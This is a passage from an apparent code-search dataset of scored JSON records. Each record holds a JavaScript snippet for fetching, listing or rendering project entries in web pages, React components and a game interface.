ul.append(elem);\n });\n\n // append ul to project div\n langs.append(ul);\n spec_proj.append(langs);\n }\n\n // create code link button\n if ('repo_link' in proj_dets)\n {\n elem = $(CreateEl(\"button\", [\n ['title', proj_dets['repo_link']]\n ])).html(\"View Code\").addClass(\"code-butt\");\n \n // append button to project div\n spec_proj.append(elem);\n\n // add a callback for that button push event\n elem.on(\"click\", () => {\n //\n open(proj_dets['repo_link']);\n });\n }\n\n // Append project to the projects container\n container.append(spec_proj);\n });\n \n \n\n}", "title": "" }, { "docid": "b0c7d0cc2e8981bc196149674e95bf9b", "score": "0.6197822", "text": "projects_by_user() {\r\n\t\treturn API.get(\"pm\", \"/get-projects-by-user/\" + getLoggedInUserInfo(this.state.users).id_user);\r\n\t}", "title": "" }, { "docid": "7c74a975f62d4e2f0434071fd4cab3de", "score": "0.61931866", "text": "function showProjects(centro) {\n var itemID = centro.getAttribute(\"itemid\");\n var datos = centro.getElementsByClassName('exhibit-item');\n if (datos.length > 1) {\n jQuery(datos).wrap('<li></li>');\n ds = centro.getElementsByClassName('datosproyectos')\n jQuery(ds).contents().filter(function() {\n return (this.nodeType == 3);\n }).remove();\n }\n}", "title": "" }, { "docid": "c60bc279570a9f118fadf32c5de6a732", "score": "0.617222", "text": "function projListInit() {\n\t// cycling through the edu variables to create that list\n\tfor (var i=0; i<5; i++) {\n\t\tvar classVar = document.getElementById(classTags[i]);\n\t\tvar indList = document.createElement('ul');\n\t\tindList.className = 'descript';\n\t\tvar titleVal = createElement('li',titles[i]);\n\t\ttitleVal.className = 'titleLine';\n\t\tindList.appendChild(titleVal);\n\t\tvar descriptVal = createElement('li',descriptions[i]);\n\t\tindList.appendChild(descriptVal);\n\t\tvar linkVal = createLink('LinkedIn Post', links[i])\n\t\tclassVar.appendChild(indList);\n\t\tclassVar.appendChild(linkVal);\n\t\tclassVar.appendChild(document.createElement('br'));\n\t\tclassVar.appendChild(document.createElement('br'));\n\t}\n}", "title": "" }, { "docid": "43c50e8a5d114bc4361c56a6b500ea12", "score": "0.61688274", "text": "function showActiveProject () {\n project[0].style.display = \"block\";\n for(let i = 0; i < elementSelected.length; i++) {\n elementSelected[i].onclick = function (){\n for(let j = 0; j < elementSelected.length; j++) {\n elementSelected[j].style.backgroundColor = '#b88d8c8f';\n elementSelected[j].style.color = 'white';\n }\n elementSelected[i].style.backgroundColor = 'white';\n elementSelected[i].style.color = '#495057';\n project[i].style.display = \"block\";\n let elementsToHide = [...project].filter(elem => elem !== project[i])\n elementsToHide.forEach(elem => elem.style.display = \"none\");\n }\n }\n}", "title": "" }, { "docid": "084da277e5fdee70fadc08b604b15209", "score": "0.61536497", "text": "async function getProjects(){\n // const session = await Auth.currentUserInfo();\n // const clientID = await session.attributes.sub;\n let response = await fetch(`${config.api.invokeUrl}/users/${clientID}`);\n // let response = await fetch(`${config.api.invokeUrl}/users/${11111}`);\n let data = await response.json();\n setProjects(data.projects)\n }", "title": "" }, { "docid": "e5ccd4694b1d2b28f78ac50051f53f78", "score": "0.6146062", "text": "function requestProjects () {\n return {\n type: actions.REQUEST_PROJECTS\n };\n}", "title": "" }, { "docid": "b8e58b6a9d45007f487b923c8fade518", "score": "0.61420935", "text": "printProjects(projects) {\n return (\n // Printing responsive cards to hold projects\n Object.keys(projects).map( (project, key)=>{\n return(\n <Project \n key={key}\n name={projects[project]['name']} \n image={projects[project]['image']} \n alt={projects[project]['alt']}\n description={projects[project]['description']}\n technology={projects[project]['technology']}\n github={projects[project]['repo']}\n link={projects[project]['link']}\n \n />\n )\n\n })\n )\n }", "title": "" }, { "docid": "ee141532ecd46f8eef8ed0c9b621d334", "score": "0.61410886", "text": "pull_project_panel_construction(){\n //Designate the project panel that is currently open\n this.project_panel_opened = \"construction\"\n\n //Create the basic framework of the project panel, and changes some initial settings\n this.create_project_panel_basic()\n\n\n //Display the first four projects\n for(var i = 1; i < 5; i ++){\n if((this.construction_projects.length - i)>=0){\n\n //Get the latest project, which will be displayed on top\n var construction_project = this.construction_projects[this.construction_projects.length - i]\n\n //Add the info of the latest project to the array of projects displayed\n this.selected_projects[this.selected_projects.length] = construction_project\n\n //Set the text of the project\n var project_text = \"Constructing \" + construction_project[\"type\"] + \" in \" + construction_project[\"location\"]\n //Get the current progress of the project\n var progress = construction_project[\"progress\"]\n\n //Get the texture key of the icon\n var icon_key = \"construction_\" + construction_project[\"type\"]\n //Get the texture key of the progress bar\n var progress_bar_key = \"\"\n if(progress < 100){\n progress_bar_key = \"bar_progress\"\n } else {\n progress_bar_key = \"bar_completed\"\n }\n\n //Set the positions of the icon, text, bar, the margins and the scale of the progress bar\n this.project_icon_x = 100\n this.project_icon_y = -900\n this.project_text_x = 260\n this.progress_bar_x = 1120\n this.margin = 120\n this.progress_bar_scale = 1\n\n //Create the project icon\n this.project_icon = this.add.sprite(this.project_icon_x, this.project_icon_y + (i-1)*this.margin, icon_key)\n this.project_icon.setOrigin(0,0.5)\n\n //Set the scale of the project icon\n if(construction_project[\"type\"] == \"hospital\"){\n this.project_icon.setScale(0.22)\n }\n if(construction_project[\"type\"] == \"quarantine\"){\n this.project_icon.setScale(0.46)\n }\n\n //Create the text for the project icon\n this.project_font_style = {\n fontFamily: \"Trebuchet MS\",\n fontSize: \"27px\",\n color: \"#000000\",\n align: \"left\",\n }\n this.project_text = this.add.text(\n this.project_text_x, this.project_icon_y + (i-1)*this.margin,\n project_text,\n this.project_font_style\n )\n\n //Create the progress bars\n this.progress_bar_background = this.add.sprite(this.progress_bar_x, this.project_icon_y + (i-1)*this.margin, \"bar_background\")\n this.progress_bar_color = this.add.sprite(this.progress_bar_x, this.project_icon_y + (i-1)*this.margin, \"bar_green\")\n this.progress_bar = this.add.sprite(this.progress_bar_x, this.project_icon_y + (i-1)*this.margin,progress_bar_key)\n\n this.progress_bar_background.setOrigin(1,0.5)\n this.progress_bar_color.setOrigin(1,0.5)\n this.progress_bar.setOrigin(1,0.5)\n\n this.progress_bar_background.setScale(this.progress_bar_scale)\n this.progress_bar_color.setScale(this.progress_bar_scale)\n this.progress_bar.setScale(this.progress_bar_scale)\n\n //Add the bars to their respective arrays\n this.color_progress_bars[this.color_progress_bars.length] = this.progress_bar_color\n this.progress_bars[this.progress_bars.length] = this.progress_bar\n\n //Add all components to the project panel component\n this.project_panel_components[this.project_panel_components.length] = this.project_icon\n this.project_panel_components[this.project_panel_components.length] = this.project_text\n this.project_panel_components[this.project_panel_components.length] = this.progress_bar_background\n this.project_panel_components[this.project_panel_components.length] = this.progress_bar_color\n this.project_panel_components[this.project_panel_components.length] = this.progress_bar\n\n }\n\n }\n\n }", "title": "" }, { "docid": "43dc623e2c4d6378c31dd4337eaacd60", "score": "0.6140787", "text": "SET_PROJECTS (state, payload) {\n payload.projects.forEach(project => \n createProjectRuntimeState(project)\n )\n\n state.list = payload.projects\n setTimeout(() => {state.loading = false}, 500)\n }", "title": "" }, { "docid": "ee843fb88737ea187dda75d215a4bf82", "score": "0.61240697", "text": "function _getProjects (cb) {\n _gitlabRequest('GET', '/projects?per_page=100', cb);\n }", "title": "" }, { "docid": "ffb201fb33e39e94c8feee3ae0e93b57", "score": "0.61018234", "text": "function Project() {\n return projects.map(project => {\n // project is an even number, it will image left and text right\n if (projects.indexOf(project) === 0 || projects.indexOf(project) %2 === 0 ) {\n return (\n <div className=\"row projectRow\">\n <div className=\"col-md-4\">\n <img src={project.image} alt={project.title} width=\"200px\"></img>\n </div>\n <div className=\"col-md-8\">\n <h4 className=\"projectTitle\">{project.title}</h4>\n <p className=\"projectAbout\">{project.about}</p>\n <ul className=\"technologies\">\n <TechListItem techItems={project.technologies}></TechListItem>\n </ul>\n <div className=\"row\">\n <button type=\"button\" className=\"btn btn-info\"><a className=\"repoLink\" href={project.repo}>Repo</a></button>\n </div>\n </div>\n \n </div>\n )\n // otherwise image will be right and text left\n } else {\n return (\n <div className=\"row projectRow\">\n <div className=\"col-md-8\">\n <h4 className=\"projectTitle\">{project.title}</h4>\n <p className=\"projectAbout\">{project.about}</p>\n <ul className=\"technologies\">\n <TechListItem techItems={project.technologies}></TechListItem>\n </ul>\n <div className=\"row\">\n <button type=\"button\" className=\"btn btn-info\"><a className=\"repoLink\" href={project.repo}>Repo</a></button>\n </div>\n </div>\n <div className=\"col-md-4\">\n <img src={project.image} alt={project.title} width=\"200px\"></img>\n </div>\n </div>\n )\n }\n })\n}", "title": "" }, { "docid": "c1e8993ab69337235a551d4c7fe2f868", "score": "0.6097333", "text": "loadProjects()\n\t{\n\t\tconsole.log('----- loadProjects -----');\n\t\t// INSERT YOUR CODE BELOW THIS LINE\n\n\t\tthis.api.makeRequest(\"GET\", \"companies/64/projects\", {}, this.fillProjectsWithResponse);// sends GET request via api\n\t\t\n\t}", "title": "" }, { "docid": "96c8dc0830ab1c910efd06ac8d152828", "score": "0.6082447", "text": "function getProjects() {\n $http.get('/api/projects?q={\"filters\":[{\"name\":\"user_id\",\"op\":\"equals\",\"val\":\"' + store.get('user_id') + '\"}]}')\n .then(function(response) {\n $scope.projects = response.data.objects;\n });\n }", "title": "" }, { "docid": "66383c2592059261b7034fc8688a7470", "score": "0.6082285", "text": "loadProjects()\n\t{\n\t\tconsole.log('----- loadProjects -----');\n\t\t// INSERT YOUR CODE HERE\n\t\tapi.makeRequest('GET', `/t-api/companies/${this.company_id}/projects`, {}, this.fillProjectsWithResponse.bind(this));\n\n\t\tif(this.projects!= null)\n\t\t{\n\t\t\tthis.loadTimeEntries();\n\t\t}\n\n\t}", "title": "" }, { "docid": "802052218109c4bd43af1bb2977193ff", "score": "0.6080717", "text": "pull_project_panel_research(){\n\n this.project_panel_opened = \"research\"\n\n //Create the basic framework of the project panel, and changes some initial settings\n this.create_project_panel_basic()\n\n for(var i = 1; i < 5; i ++){\n if((this.research_projects.length - i)>=0){\n\n //Get the latest project, which will be displayed on top\n var research_project = this.research_projects[this.research_projects.length - i]\n\n //Add the info of the latest project to the array of projects displayed\n this.selected_projects[this.selected_projects.length] = research_project\n\n //Get the text and progress of the research project\n var project_text = research_project[\"title\"]\n var progress = research_project[\"progress\"]\n\n //Get the texture key of the progress bar\n var progress_bar_key = \"\"\n if(progress < 100){\n progress_bar_key = \"bar_progress\"\n } else {\n progress_bar_key = \"bar_completed\"\n }\n\n //Set the positions of the icon, text, progress bar, margins and scales\n this.project_icon_x = 100\n this.project_text_x = 530\n this.progress_bar_x = 1120\n this.project_icon_y = -900\n this.margin = 120\n this.progress_bar_scale = 1\n\n //Create project icon\n this.project_icon = this.add.sprite(this.project_icon_x, this.project_icon_y + (i-1)*this.margin, \"research\")\n this.project_icon.setOrigin(0,0.5)\n this.project_icon.setScale(0.4)\n\n //Create project title text\n this.project_font_style = {\n fontFamily: \"Trebuchet MS\",\n fontSize: \"27px\",\n color: \"#000000\",\n align: \"left\",\n wordWrap: {width: 550},\n lineSpacing: 0\n }\n\n this.project_text = this.add.text(\n this.project_text_x, this.project_icon_y + (i-1)*this.margin,\n project_text,\n this.project_font_style\n )\n\n this.project_text.setOrigin(0.5,0.5)\n\n //Create progress bars\n this.progress_bar_background = this.add.sprite(this.progress_bar_x, this.project_icon_y + (i-1)*this.margin, \"bar_background\")\n this.progress_bar_color = this.add.sprite(this.progress_bar_x, this.project_icon_y + (i-1)*this.margin, \"bar_blue\")\n this.progress_bar = this.add.sprite(this.progress_bar_x, this.project_icon_y + (i-1)*this.margin,progress_bar_key)\n\n this.progress_bar_background.setOrigin(1,0.5)\n this.progress_bar_color.setOrigin(1,0.5)\n this.progress_bar.setOrigin(1,0.5)\n\n this.progress_bar_background.setScale(this.progress_bar_scale)\n this.progress_bar_color.setScale(this.progress_bar_scale)\n this.progress_bar.setScale(this.progress_bar_scale)\n\n //Add progress bars to the bar arrays\n this.color_progress_bars[this.color_progress_bars.length] = this.progress_bar_color\n this.progress_bars[this.progress_bars.length] = this.progress_bar\n\n //Add the project panel components to the array\n this.project_panel_components[this.project_panel_components.length] = this.project_icon\n this.project_panel_components[this.project_panel_components.length] = this.project_text\n this.project_panel_components[this.project_panel_components.length] = this.progress_bar_background\n this.project_panel_components[this.project_panel_components.length] = this.progress_bar_color\n this.project_panel_components[this.project_panel_components.length] = this.progress_bar\n }\n }\n\n }", "title": "" }, { "docid": "ece3cb4ea9d88fb7e5253ac81e64dd1d", "score": "0.60777575", "text": "loadProjects()\n\t{\n\t\tconsole.log('----- loadProjects -----');\n\t\t// INSERT YOUR CODE HERE\n\t\t//call the TimeTrackerApi to handle api request.\n\t\tapi.makeRequest('GET', `/t-api/companies/${this.company_id}/projects`, {}, this.fillProjectsWithResponse.bind(this));\n\t}", "title": "" }, { "docid": "8bfe54766e8810ab5fc618f594dcbd44", "score": "0.607087", "text": "function ProjectListing() {\n this.title = null;\n this.description = null;\n }", "title": "" }, { "docid": "e6e7609831e7c781381a6b0876a2a7ce", "score": "0.6062715", "text": "render() {\n // prepare variable\n let projectItems;\n \n // validate input\n if (this.props.projects) {\n // I should work on mapping more as well. Looks like I'll be using it a lot with React\n projectItems = this.props.projects.map(project => {\n return (\n // Can normal comment here because outside JSX\n // OOP!! Reusable component written below this one. Can also be done in another file and imported (duh)\n <ProjectItem onDelete={this.deleteProject.bind(this)} key={project.id} project={project} />\n );\n });\n }\n\n // Single HTML element which gets passed up to whatever uses this component, namely the App component\n return (\n // Pretty simple\n <div className=\"Projects\">\n <h3>Projects</h3>\n {/* projectItems is actually an array of list items */}\n {projectItems}\n </div>\n );\n }", "title": "" }, { "docid": "799fdd4663940f59a19074680939edc1", "score": "0.605845", "text": "function createProjectList(build_data) {\n var elements = [];\n for (i = 0; i < project_urls.length; i++) {\n for (b = 0; b < build_data.length; b++) {\n if (build_data[b][\"project_url\"] == project_urls[i][\"project_url\"]) {\n var project_details = build_data[b][\"project\"];\n var latest_build = build_data[b][\"builds\"][\"results\"][0];\n // Get the time delta\n var time_diff = getTimeDelta(new Date(latest_build[\"created_at\"]));\n var slug = \"\";\n if (latest_build[\"finished\"] === true) {\n testing = \"\";\n } else {\n testing =\n '<img id=\"loader\" class=\"img-responsive\" style=\"width:20px;\" alt=\"Loading Icon\" src=\"/assets/images/building_loader.gif\" /><small> testing...</small>';\n }\n\n var listItem =\n '<li class=\"list-group-item d-flex flex-column flex-sm-row justify-content-sm-between align-items-center \">';\n listItem +=\n \"<div class='flex-even ml-1 mr-1'><span>\" +\n project_details[\"slug\"] +\n \"</span></div>\";\n listItem +=\n \"<div class='flex-even ml-1 mr-1 text-center'><span>\" +\n testing +\n \"</span></div>\";\n listItem +=\n '<div class=\"flex-even text-center\"><span class=\"mt-1 mb-1 badge badge-large badge-pill badge-light\" data-toggle=\"tooltip\" data-placement=\"top\" title=\"' +\n new Date(latest_build[\"created_at\"]).toLocaleDateString(\"en-US\") +\n \" \" +\n new Date(latest_build[\"created_at\"]).toLocaleTimeString(\"en-US\") +\n '\">' +\n time_diff +\n ' hours ago <span class=\"fa fa-clock\"></span></span></div>';\n listItem +=\n '<div class=\"flex-even text-center\"><span class=\"mt-1 mb-1 badge badge-large badge-success badge-pill\">' +\n latest_build[\"test_data\"][\"pass\"] +\n \"<span> passed</span></span></div>\";\n listItem +=\n '<div class=\"flex-even text-center\"><span class=\"mt-1 mb-1 badge badge-large badge-danger badge-pill\">' +\n latest_build[\"test_data\"][\"fail\"] +\n \"<span> failed</span></span></div>\";\n listItem +=\n '<div class=\"flex-even text-center\"><span class=\"mt-1 mb-1 badge badge-large badge-info badge-pill\">' +\n latest_build[\"test_data\"][\"skip\"] +\n \"<span> skipped</span></span></div>\";\n\n listItem +=\n '<div class=\"flex-even text-center\"><a href=\"#\" data-toggle=\"modal\" data-target=\"#' +\n project_details[\"slug\"] +\n '-modal\">View Builds</a></div>';\n listItem += \"</li>\";\n elements.push(listItem);\n }\n }\n }\n return elements;\n }", "title": "" }, { "docid": "af4777582bcbbfbb22a4b9508724c257", "score": "0.6018686", "text": "function createCards() {\n let inner = '';\n for (let i = 0; i < projectArray.length; i++) {\n let projectTitle = projectArray[i].projectTitle;\n let projectImage = projectArray[i].projectImage;\n let projectText = projectArray[i].projectText;\n inner += `\n <div class=\"project\" data-index=\"${i}\">\n <h4 class=\"project-title\">${projectTitle}</h4>\n <img src=\"${projectImage}\">\n <p class=\"project-text\">${projectText}</p>\n </div>\n `;\n }\n if (projects) {\n projects.innerHTML = inner;\n }\n}", "title": "" }, { "docid": "9f5eb794e98d1933ef437f1f6efee0f7", "score": "0.6015862", "text": "populate () {\n this.setLoading('Discovering projects\\u2026')\n providerManager.all()\n .then(items => {\n items = util.sortProjects(items)\n this.setItems(items)\n })\n .catch(err => {\n console.error('Project Plus: Could not list projects:', err.stack)\n this.toggle()\n notificationManager.error('Project Plus: Could not list projects', {\n dismissable: true,\n stack: err.stack,\n description: 'Open the Dev Tools for more information, or file an issue ' +\n 'on [Github](https://github.com/mehcode/atom-project-plus/issues/new).'\n })\n })\n }", "title": "" }, { "docid": "059cc075d9dbe9eefa8974693908fa34", "score": "0.5992544", "text": "renderProjects(projectData, index) {\n const {\n title,\n summary,\n description,\n site_url,\n repo_url,\n image_url,\n tools\n } = projectData;\n\n if (index === 0 || index % 2 === 0) {\n return (\n <Section\n key={index}\n title={title}\n caption={summary}\n description={description}\n image_url={image_url}\n primary_site_url={site_url}\n secondary_site_url={repo_url}\n items={tools}\n dark\n />\n );\n } else {\n return (\n <Section\n key={index}\n title={title}\n caption={summary}\n description={description}\n image_url={image_url}\n primary_site_url={site_url}\n secondary_site_url={repo_url}\n items={tools}\n />\n );\n }\n }", "title": "" }, { "docid": "be957c708122f34b162b1f421d7dbb8b", "score": "0.59807914", "text": "function projectNav(project) {\r\n\r\n var projectGrid = project.parent(),\r\n projectTitle = project.attr('id'),\r\n projectPreloaded = projectData[projectTitle] !== undefined;\r\n\r\n WorkModule.collapseAllProjects();\r\n\r\n // TODO: Make this scroll to the correct position\r\n // collapse bio if it's not collapsed\r\n // $('#show-more-bio').removeClass('more-bio--bio-hidden');\r\n // $('.bio').addClass('bio-hidden');\r\n\r\n\r\n expandedProjIndex = $.inArray(window.location.hash.replace('#',''), projects);\r\n\r\n if (expandedProjIndex !== undefined && expandedProjIndex !== -1) {\r\n\r\n // fade page content\r\n // scroll to top\r\n $('html,body').animate({\r\n scrollTop: $('#project-detail-container').offset().top\r\n }, 250);\r\n\r\n $('body').addClass('is-expanded-view');\r\n\r\n $('#' + projectTitle)\r\n .removeClass('is-thumb')\r\n .addClass('is-expanded');\r\n\r\n if(projectPreloaded) {\r\n $('#project-detail-container')\r\n .html(projectData[projectTitle].projectHTML)\r\n .addClass('fadeIn');\r\n } else {\r\n $.ajax({\r\n url: 'work/' + projectTitle + '.html',\r\n success: function(data) {\r\n projectData[projectTitle] = {\r\n projectHTML: data\r\n };\r\n $('#project-detail-container')\r\n .html(projectData[projectTitle].projectHTML)\r\n .addClass('fadeIn');\r\n }\r\n });\r\n }\r\n\r\n } else {\r\n WorkModule.collapseAllProjects();\r\n }\r\n\r\n }", "title": "" }, { "docid": "9eba03543db73308cfd319e7e0a7d71b", "score": "0.59714484", "text": "function getProject(projects, projectFilter){\n var oneProject = []\n projects.forEach(function (element) {\n\t var name = element[focusAreaColumn]\n\t if (name === projectFilter) oneProject.push(element)\n })\n return oneProject\n}", "title": "" }, { "docid": "ed151f70756254c249aab0bd4a57cf3a", "score": "0.59708047", "text": "function Project() {}", "title": "" }, { "docid": "ed151f70756254c249aab0bd4a57cf3a", "score": "0.59708047", "text": "function Project() {}", "title": "" }, { "docid": "e38ab7c0136ead7ba00606f188bd7fc6", "score": "0.596794", "text": "render() {\n const projects = this.fetchSelected();\n let rendered = [];\n \n let xRange = 0;\n let firstInLine = 0;\n if(this.props.width < 1083) xRange = 1;\n else if(this.props.width < 1577) xRange = 2;\n else xRange = 3;\n const yRange = Math.ceil(projects.length / xRange);\n \n for(let i = 0; i < yRange; i++) {\n const line = this.renderProjectLineOf(projects, (firstInLine + xRange), firstInLine);\n\n rendered.push(\n <div key={i} className={`projectLine`}>{line}</div>\n );\n\n firstInLine += xRange;\n }\n \n return (\n <TransitionGroup component={null}>\n <div className={`projectPageWrapper ${this.props.direction}`}>\n {rendered}\n </div>\n </TransitionGroup>\n );\n }", "title": "" }, { "docid": "b0187fc9c20e0337492482541565db31", "score": "0.5964676", "text": "function addProjectsToDOM(projects){\n \n for(var i=0; i < projects.length; i++) {\n\n var project = projects[i];\n\n // get current project data\n var title = project.title || \"Adobe Web Platform Project\";\n var blurb = project.blurb || \"Let us know what you think about this project.\";\n var img = project.imgLoc;\n var url = project.imgLink;\n var social = project.socialLinks[0];\n\n \n // create this project html elements\n var projectItem = {\n projectHTML: '<div class=\"proj_item\" id=\"project_' + i +'\">',\n titleHTML: '<div class=\"projectTitle\" id=\"projTitle_' + i +'\">',\n blurbHTML: '<div class=\"projectBlurb\" id=\"projBlurb_' + i +'\">',\n imgHTML: '<img class=\"projectImg\" id=\"projImg_' + i +'\">',\n socialHTML: '<div class=\"projectSocial\" id=\"projSocial_' + i +'\">'\n };\n \n // add this project to the container\n $('#proj_container').append(projectItem.projectHTML);\n \n $('#project_' + i).append(projectItem.titleHTML)\n .append(projectItem.imgHTML)\n .append(projectItem.blurbHTML); \n \n $('#projImg_' + i).prop('src', img);\n $('#projImg_' + i).wrap( \"<a>\" );\n $('.proj_item > a').prop('href', url);\n $('#projTitle_' + i).text(title);\n $('#projBlurb_' + i).html(blurb);\n \n // add social footer\n $('#project_' + i).append(projectItem.socialHTML);\n \n // add specific social icons for this project\n \n $.each( social, function( key, value ) {\n\n if(value) {\n \n $('#projSocial_' + i).height( 50 );\n\n // add related social icon img\n var socialImgSrc = 'img/social-icon-sm-' + key + '.png';\n var socialImg ='<img class=\"socialImg\" id=\"projSocialImg_' + key + '_' + i +'\" src=\"' + socialImgSrc + '\">';\n $('#projSocial_' + i).append(socialImg);\n // add a link to the img\n var socialLink = '#projSocialImg_' + key + '_' + i;\n var socialA = '<a id=\"projSocialLink_' + key + '_' + i + '\" target=\"_blank\">';\n var socialUID = '#projSocialLink_' + key + '_' + i;\n $(socialLink).wrap( socialA );\n $(socialUID).prop('href', value);\n } \n });\n }\n}", "title": "" }, { "docid": "eb7907445806cf6c9d23cb1f8fa379ab", "score": "0.5963064", "text": "function getProjects() {\n return db.collection(\"projects\").find({}).toArray();\n}", "title": "" }, { "docid": "6c2be89536627ef4a68d42fb8a31b74b", "score": "0.5956321", "text": "function getMyProject(){\n $.ajax({\n url : `http://localhost:3000/project`,\n method : \"GET\",\n headers : {\n token : localStorage.getItem('token')\n }\n })\n .done(data =>{\n $(\"#myProject\").empty();\n data.forEach(element => {\n $(\"#myProject\").append(`\n <a class=\"list-group-item list-group-item-action\" onclick=\"showProject('${element._id}')\">\n <h5 class=\"mb-1\">${element.title}</h5>\n <div class=\"d-flex w-100 justify-content-between\">\n <small class=\"text-muted\"><i class=\"fa fa-users\"></i> Members (${element.members.length})</small>\n <small class=\"text-muted\"><i class=\"fa\">&#xf007;</i> Owner: ${element.owner.email}</small>\n </div>\n </a>\n <hr />\n `);\n });\n })\n}", "title": "" }, { "docid": "f91550c26167e78570726cc285fc06d5", "score": "0.5949767", "text": "function projectNavLeft(project) {\n //Identify DOM Elements to change\n var imgId = '#' + project + '-img';\n var descriptionId = '#' + project + '-description';\n var slideIndicatorId = '#' + project + '-slide-indicator';\n var projectImg = document.querySelector(imgId);\n var projectDescription = document.querySelector(descriptionId);\n\n //Change currentSlide index\n projects[project].currentSlide--;\n if (projects[project].currentSlide < 0) {\n projects[project].currentSlide = projects[project].descriptions.length - 1;\n }\n\n //Change dom element to images[currntSlide] and desciptions[currentSlide]\n var currentSlide = projects[project].currentSlide;\n projectImg.src = projects[project].images[currentSlide];\n projectDescription.innerHTML = projects[project].descriptions[currentSlide];\n\n //Change slide Indicator to match current Slide\n $(slideIndicatorId).html('');\n for (var j = 0; j < projects[project].descriptions.length; j++) {\n if (j === currentSlide) {\n $(slideIndicatorId).append(circleFilled);\n } else {\n $(slideIndicatorId).append(circle);\n }\n }\n}", "title": "" }, { "docid": "8ecff941e6dc94f0ec0245ca425b93e0", "score": "0.5949113", "text": "function renderMyProjectListElement(project) {\n var table = document.getElementById('my_project_list');\n var row = table.insertRow(-1);\n\n var id = project.project_id.toString();\n\n var abbr = row.insertCell(0);\n var name = row.insertCell(1);\n\n abbr.innerHTML = project.abbr;\n name.innerHTML = project.name;\n\n row.addEventListener('click', function(e) {\n window.location.href = basePath + 'project/index.html?project_id=' + id;\n });\n}", "title": "" }, { "docid": "0258fb3b5a0ef06462185e1dba8ddbad", "score": "0.5947513", "text": "render() { //renders the component\n return ( //return what shall be rendered\n\n <li className='Project'>\n {this.props.Project[0].title} - {this.props.Project[0].category}\n </li>\n );\n }", "title": "" }, { "docid": "7af30cd29015ea1bedc9327e1bc6cfd2", "score": "0.59450775", "text": "function Projects() {\n return (\n <div id=\"projects\">\n <h1>Projects</h1>\n <h4 className=\"summary\">\n Please enjoy galleries featuring selections from various bodies of work\n below.\n </h4>\n\n <div id=\"projectlinks\">\n <Link to=\"../components/CodingProjects\">Coding Projects</Link>\n\n <Link to=\"../components/PotteryProjects\">Pottery Projects</Link>\n\n <Link to=\"../components/DiceProjects\">Dice Projects</Link>\n </div>\n </div>\n );\n}", "title": "" }, { "docid": "6c35491f0d42c5bee926b5f40618ee76", "score": "0.5933013", "text": "function listProjects(username, url, expedition) {\n var jqxhr = $.getJSON(url\n ).done(function (data) {\n if (!expedition) {\n var html = '<h1>Project Manager (' + username + ')</h2>\\n';\n } else {\n var html = '<h1>Expedition Manager (' + username + ')</h2>\\n';\n }\n var expandTemplate = '<br>\\n<a class=\"expand-content\" id=\"{project}-{section}\" href=\"javascript:void(0);\">\\n'\n + '\\t <img src=\"' + appRoot + 'images/right-arrow.png\" id=\"arrow\" class=\"img-arrow\">{text}'\n + '</a>\\n';\n $.each(data, function (index, element) {\n key = element.projectId;\n val = element.projectTitle;\n var project = val.replace(new RegExp('[#. ()]', 'g'), '_') + '_' + key;\n\n html += expandTemplate.replace('{text}', element.projectTitle).replace('-{section}', '');\n html += '<div id=\"{project}\" class=\"toggle-content\">';\n if (!expedition) {\n html += expandTemplate.replace('{text}', 'Project Metadata').replace('{section}', 'metadata').replace('<br>\\n', '');\n html += '<div id=\"{project}-metadata\" class=\"toggle-content\">Loading Project Metadata...</div>';\n html += expandTemplate.replace('{text}', 'Project Expeditions').replace('{section}', 'expeditions');\n html += '<div id=\"{project}-expeditions\" class=\"toggle-content\">Loading Project Expeditions...</div>';\n html += expandTemplate.replace('{text}', 'Project Users').replace('{section}', 'users');\n html += '<div id=\"{project}-users\" class=\"toggle-content\">Loading Project Users...</div>';\n } else {\n html += 'Loading...';\n }\n html += '</div>\\n';\n\n // add current project to element id\n html = html.replace(new RegExp('{project}', 'g'), project);\n });\n if (html.indexOf(\"expand-content\") == -1) {\n if (!expedition) {\n html += 'You are not an admin for any project.';\n } else {\n html += 'You do not belong to any projects.'\n }\n }\n $(\".sectioncontent\").html(html);\n\n // store project id with element, so we don't have to retrieve project id later with an ajax call\n $.each(data, function (index, element) {\n key = element.projectId;\n val = element.projectTitle;\n var project = val.replace(new RegExp('[#. ()]', 'g'), '_') + '_' + key;\n\n if (!expedition) {\n $('div#' + project + '-metadata').data('projectId', key);\n $('div#' + project + '-users').data('projectId', key);\n $('div#' + project + '-expeditions').data('projectId', key);\n } else {\n $('div#' + project).data('projectId', key);\n }\n });\n }).fail(function (jqxhr) {\n $(\".sectioncontent\").html(jqxhr.responseText);\n });\n return jqxhr;\n\n}", "title": "" }, { "docid": "e7b8589ffa0530f44bb628ca1d97fa2a", "score": "0.59291726", "text": "function app(projects) {\n projects.forEach((project, index) => {\n let imgUrl = \"url('\" + projects[index].image + \"')\";\n let $a = $(\"#project-wrapper\").append(\n $(\"<a>\")\n .attr(\"href\", projects[index].url)\n .attr(\"target\", \"_blank\")\n .attr(\"id\", `link-${index}`)\n .append(\n $(\"<div>\")\n .addClass(\"project-tile\")\n .attr(\"id\", `tile-${index}`)\n .css(\"background-image\", imgUrl)\n .append(\n $(\"<div>\")\n .addClass(\"tile-overlay\")\n .append(`<p>${projects[index].title}</p>`)\n )\n )\n );\n });\n }", "title": "" }, { "docid": "b055af8704503bc855b9aa89109f80d1", "score": "0.5928081", "text": "show_project_panel_construction(){\n this.pull_project_panel_construction()\n var displacement = config.height - this.project_panel.y\n for(var i = 0; i < this.project_panel_components.length; i++){\n this.project_panel_components[i].y += displacement\n }\n }", "title": "" }, { "docid": "84736867089369189eeccaf82719e743", "score": "0.5927267", "text": "function GetAllProjects() {\r\n debugger;\r\n var getData = apiService.getList(\"Project/getAllProj\");\r\n debugger;\r\n getData.then(function (proj) {\r\n $scope.projects = proj.data;\r\n }, function () {\r\n alert('Error in getting records');\r\n });\r\n }", "title": "" }, { "docid": "ac87351cc87414c619539f055a3e4b7b", "score": "0.5923047", "text": "function loadAllProjects() {\n // perform authentication\n authenticate();\n // initiate URL, header, options\n var getAllProjectURL = \"https://api.teamgantt.com/v1/projects/all?\"\n var header = {\n 'TG-Authorization' : 'Bearer ' + PropertiesService.getUserProperties().getProperty('authKey'),\n 'TG-Api-Key' : api_key,\n 'TG-User-Token' : user_token\n }\n var options = {\n 'method' : 'get',\n 'contentType' : 'application/json',\n 'headers' : header\n }; \n // call the API and parse the response\n var response = UrlFetchApp.fetch(getAllProjectURL, options);\n var json = response.getContentText();\n var data = JSON.parse(json);\n var myMap = [];\n // map name, id, status, and public key\n for (i = 0; i < data.projects.length; i++) {\n myMap.push([data.projects[i].name, data.projects[i].id.toString(), data.projects[i].status, data.projects[i].public_key]);\n }\n return myMap;\n}", "title": "" }, { "docid": 